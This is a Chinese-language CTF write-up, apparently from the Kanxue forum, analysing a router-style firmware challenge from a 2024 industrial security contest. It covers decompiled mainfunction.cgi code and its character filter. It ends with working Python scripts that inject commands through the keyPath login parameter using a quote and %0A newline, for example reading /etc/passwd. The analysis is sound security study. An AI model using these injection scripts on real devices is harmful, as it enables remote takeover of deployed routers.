此固件是2024中国工业互联网安全大赛智能家电行业赛道选拔赛决赛的一道题目,其中就可以直接用CVE直接命令执行。本人对IoT一直在尝试学习,这次的比赛见到了很多师傅非常厉害,这也是一个非常好的让我深入IoT漏洞挖掘和利用世界的契机。所以我打算完整分析一次这个赛题/固件,希望大家都有所收获。
一
漏洞信息
mainfunction.cgi
中注入格式错误的查询字符串,构造恶意的 HTTP 消息,从而在远程执行任意代码。二
仿真
find ./ -name *.httpd
发现了几个httpd,其中主要是lighttpd。三
复现
import requests
host='http://10.10.10.2'
def run_cmd(cmd):
try:
headers = {
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)Gecko/20100101 Firefox/75.0"
}
url = host + "/cgi-bin/mainfunction.cgi"
data = "action=login&keyPath=%27%0A%2fbin%2f" + cmd + "%0A%27&loginUser=a&loginPwd=a"
res = requests.post(url=url, data=data, timeout=(10, 15),headers=headers)
if res.status_code == 200:
return res.text
else:
print('error')
return 1
except Exception as e:
return ""data=run_cmd('cat</etc/passwd')
print(data)
四
分析
mainfunction.cgi
。接下来我们对其进行深入分析。haystack = getenv("HTTP_COOKIE");
v0 = getenv("REMOTE_ADDR");
strcpy(v38, "uci get acc_ctrl.access_control.validation_code");
v1 = (char *)sub_21558(v38);
strcpy(v38, "uci get acc_ctrl.access_control.fail_times");
v2 = (const char *)sub_21558(v38);
v35 = atoi(v2);
v3 = (const char *)sub_20ECC(v0, ".", "_");
snprintf(v38, 0x400u, "json -f /tmp/login_ip get ip.%s", v3);
v4 = (const char *)sub_21558(v38);
v36 = atoi(v4);
Value = cgiGetValue(dword_42D0C, "keyPath");
v6 = (const char *)cgiGetValue(dword_42D0C, "loginUser");
v7 = cgiGetValue(dword_42D0C, "loginPwd");
v8 = v6 == 0;
if ( v6 )
v8 = v7 == 0;
v9 = (const char *)v7;
if ( v8 || !Value )
{
v14 = cgiGetValue(dword_42D0C, "formusername");
v17 = cgiGetValue(dword_42D0C, "formpassword");
}
else
{
v10 = off_42400[0];
v11 = (const char *)sub_AD58(Value);
snprintf(v40, 0x64u, "%s%s%s", v10, "_", v11);
sub_AD58(v6);
v12 = strlen(v6);
v13 = sub_CEC4(v6, v12, v46);
sub_CCC8(off_42404[0], v46[0], v13);
snprintf(v38, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", v40, off_42404[0]);
v14 = sub_21558(v38);
sub_AD58(v9);
v15 = strlen(v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(off_42404[0], v46[0], v16);
snprintf(v38, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", v40, off_42404[0]);
v17 = sub_21558(v38);
snprintf(v38, 0x400u, "rm -f '%s' '%s' '%s'", v40, off_42404[0], v33);
system(v38);
}
// attributes: thunk
int __fastcall cgiGetValue(int a1, int a2)
{
return __imp_cgiGetValue(a1, a2);
}
system(v38);
。我们通过修复v38变量对最终作为命令传入的参数进行跟踪。if ( v8 || !web_cmd )
{
v14 = cgiGetValue(web_cmd_buf, "formusername");
v17 = cgiGetValue(web_cmd_buf, "formpassword");
}
else
else
{
str11 = off_42400[0];
str12 = (const char *)sub_AD58(web_cmd);
snprintf(str_1, 0x64u, "%s%s%s", str11, "_", str12);
sub_AD58(v6);
v12 = strlen(v6);
v13 = sub_CEC4(v6, v12, v46);
sub_CCC8(str_2[0], v46[0], v13);
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v14 = sub_21558(cmd);
sub_AD58(v9);
v15 = strlen(v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(str_2[0], v46[0], v16);
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u, "rm -f '%s' '%s' '%s'", str_1, str_2[0], str_3);
system(cmd);
}
v8 || !web_cmd == false
才能够触发命令执行。!web_cmd
我们传入之后他肯定是false了,我们只需要v8也是false即可,也就是说v8是空指针或者没有内容或者为0。v8 = Value == 0;
if ( Value )
v8 = v7 == 0;
web_cmd = (unsigned __int8 *)cgiGetValue(web_cmd_buf, (int)"keyPath");
Value = (unsigned __int8 *)cgiGetValue(web_cmd_buf, (int)"loginUser");
v7 = cgiGetValue(web_cmd_buf, (int)"loginPwd");
str11 = off_42400[0];
str12 = sub_AD58(web_cmd);
snprintf(str_1, 0x64u, "%s%s%s", str11, "_", (const char *)str12);
sub_AD58(Value);
v12 = strlen((const char *)Value);
v13 = sub_CEC4(Value, v12, v46);
sub_CCC8(str_2[0], v46[0], v13);
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v14 = sub_21558(cmd);
sub_AD58(v9);
v15 = strlen((const char *)v9);
v16 = sub_CEC4(v9, v15, v46);
sub_CCC8(str_2[0], v46[0], v16);
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u, "rm -f '%s' '%s' '%s'", str_1, str_2[0], str_3);
system(cmd);
sub_AD58(web_cmd) -> str12 -> str_1=str11+"_"+str12 -> snprintf(cmd)
unsigned __int8 *__fastcall sub_AD58(unsigned __int8 *result)
{
unsigned __int8 *i; // r2
int v2; // r3
bool v3; // zf
_BOOL4 v4; // r3for ( i = result; i; ++i )
{
v2 = *i;
v3 = v2 == 96;
if ( v2 != 96 )
v3 = v2 == 59;
if ( v3 || v2 == 124 || v2 == 62 || v2 == 32 )
{
*i = 43;
}
else
{
v4 = v2 == 36;
if ( i == (unsigned __int8 *)-1 )
v4 = 0;
if ( v4 && i[1] == 40 )
{
i[1] = 43;
*i = 43;
}
if ( !*i )
return result;
}
}
return result;
}
unsigned __int8 *__fastcall change_str(unsigned __int8 *web_cmd)
{
unsigned __int8 *string; // r2
int char_; // r3
bool flag; // zf
_BOOL4 flag_2; // r3for ( string = web_cmd; string; ++string )
{
char_ = *string; // 获取当前字节
flag = char_ == '`'; // 当char_是`那么flag为1,反之为0
if ( char_ != '`' ) // 如果当前字节是`就不管了flag就是1。如果不是那么就再看看,当char是;的情况把flag赋值为1否则为0
flag = char_ == ';';
if ( flag || char_ == '|' || char_ == '>' || char_ == ' ' )
{// 总结来说,如果char_是` ; | > 和空格都会被替换为+。
*string = '+';
}
else
{// 如果以上都不是,那么看看当前字符是不是$符号,如果是flag_2为1
flag_2 = char_ == '$';
if ( string == (unsigned __int8 *)'\xFF' )
flag_2 = 0;//如果string是0xff就又赋值为0
if ( flag_2 && string[1] == '(' ) // 如果第二个字符是( 而且flag2也为1那么就复制++给string的开头,也就是$(一起出现会被改为++
qmemcpy(string, "++", 2);
if ( !*string )//直到最后string的结为,返回web_cmd回去。注意这做的更改都是会返回的。
return web_cmd;
}
}
return web_cmd;
}
` | ; ? 空格 $( 不可一起出现
str12 = change_str(web_cmd);
snprintf(str_1, 0x64u, "%s%s%s", str11, "_", (const char *)str12);
snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]);
v17 = sub_21558(cmd);
snprintf(cmd, 0x400u, "rm -f '%s' '%s' '%s'", str_1, str_2[0], str_3);
import argparse
import requestsdef system(host,cmd):
try:
print("[*] Start to execute command: " + cmd + " on " + host)
headers = {
"HOST":"10.10.10.2",
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36",
"Content-Type": "text/plain; charset=UTF-8",
"Accept": "*/*",
}
url = host + "/cgi-bin/mainfunction.cgi"
data = f"action=login&keyPath={cmd}&loginUser=N1nEmAn&loginPwd=Hack&formcaptcha=YnVrZHg=&rtick=1722512530770"
print("[*] Sending:",data)
res = requests.post(url=url, data=data,headers=headers)
if res.status_code == 200 and res.text != "":
print("[+] Command executed successfully")
print("[+] Result: " + res.text)
return res.text
else:
print('[-] Command execute failed! Nothing...')
return 1
except:
print('[-] Command execute failed!')if __name__ == "__main__":
# 获取第一个参数作为目标地址,第二个命令行参数作为命令
parser = argparse.ArgumentParser()
parser.add_argument("host", help="target host")
parser.add_argument("cmd", help="command to execute")
args = parser.parse_args()
system(args.host, "ls")
arm架构中,调用号3是read,4是write,5是open,0xb是execve。 r7用来存储系统调用号。 r0,r1,r2分别为三个参数。其中r2的控制较为麻烦,不过问题不大。
pwndbg> b * 0xa4c8
Breakpoint 1 at 0xa4c8
pwndbg> set architecture arm
The target architecture is set to "arm".
pwndbg> target remote :1234
Remote debugging using :1234
ls
被改成什么了:pwndbg> x/s $r0
0xbeaf8410: "rm -f '/tmp/rsa/private_key_ls' '/tmp/rsa/binary_login' 'ls'"
rm -f '/tmp/rsa/private_key_ls' '/tmp/rsa/binary_login' 'ls'
'
。\n
发现还是不能,因为\n
导致直接截断了。最后发现可以用URL编码%0A解决这个问题!所以我们最后的脚本如下:import argparse
import requestsdef system(host,cmd):
cmd = "\'%0A" + cmd + "%0A"
try:
headers = {
"HOST":"10.10.10.2",
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36",
"Content-Type": "text/plain; charset=UTF-8",
"Accept": "*/*",
}
url = host + "/cgi-bin/mainfunction.cgi"
data = f"action=login&keyPath={cmd}&loginUser=N1nEmAn&loginPwd=Hack"
res = requests.post(url=url, data=data,headers=headers)
if res.status_code == 200 and res.text != "":
print("[+] Command executed successfully")
print("[+] Result: \n" + res.text)
return res.text
else:
print('[-] Command execute failed! Nothing...')
return 1
except:
print('[-] Command execute failed!')if __name__ == "__main__":
# 获取第一个参数作为目标地址,第二个命令行参数作为命令
parser = argparse.ArgumentParser()
parser.add_argument("host", help="target host")
parser.add_argument("cmd", help="command to execute")
args = parser.parse_args()
system(args.host, args.cmd)
五
后记
看雪ID:N1nE
https://bbs.kanxue.com/user-home-995344.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多